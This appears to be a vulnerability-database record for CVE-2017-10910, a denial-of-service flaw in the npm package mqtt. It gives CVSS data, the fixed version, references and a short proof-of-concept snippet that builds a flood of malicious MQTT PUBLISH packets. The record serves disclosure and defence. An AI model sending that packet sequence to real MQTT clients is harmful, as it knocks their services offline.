{"id":"CVE-2017-10910","aliases":["GHSA-h9mj-fghc-664w"],"url":"https://o3.security/vulnerability/CVE-2017-10910","summary":"Denial of Service in mqtt","details":"Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.\n\nThe vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.\n\n## Proof of Concept\n\nThe following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.\n```\nvar mqttp = require('mqtt-packet');\nvar packets = [];\nfor(var i=0; i<=1000;i++){\n    packets.push(\n        mqttp.generate({\n            cmd:'publish',\n            topic:Buffer.from('hello'),\n            payload:Buffer.from('world'),\n            retain: false,\n            dup: false, \n            messageId: ++i, \n            qos: 1\n        })\n    )\n}\n\n```\n\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.","published":"2017-12-28T02:29:03.427Z","modified":"2026-07-08T12:05:28.583361Z","cvss":{"score":6.5,"severity":"MEDIUM","vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"npm","name":"mqtt","fixedVersion":"2.15.0"}],"fix":{"url":"https://github.com/mqttjs/MQTT.js/commit/403ba53b838f2d319a0c0505a045fe00239e9923","label":"mqttjs/MQTT.js@403ba53"},"references":[{"type":"ADVISORY","url":"https://github.com/mqttjs/MQTT.js/releases/tag/v2.15.0"},{"type":"ADVISORY","url":"https://jvn.jp/en/jp/JVN45494523/index.html"},{"type":"FIX","url":"https://github.com/mqttjs/MQTT.js/commit/403ba53b838f2d319a0c0505a045fe00239e9923"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-10910"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-h9mj-fghc-664w"},{"type":"PACKAGE","url":"https://github.com/mqttjs/MQTT.js"},{"type":"WEB","url":"https://github.com/nodejs/security-wg/blob/master/vuln/npm/357.json"},{"type":"WEB","url":"https://www.npmjs.com/advisories/555"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-08T12:05:28.583361Z"}}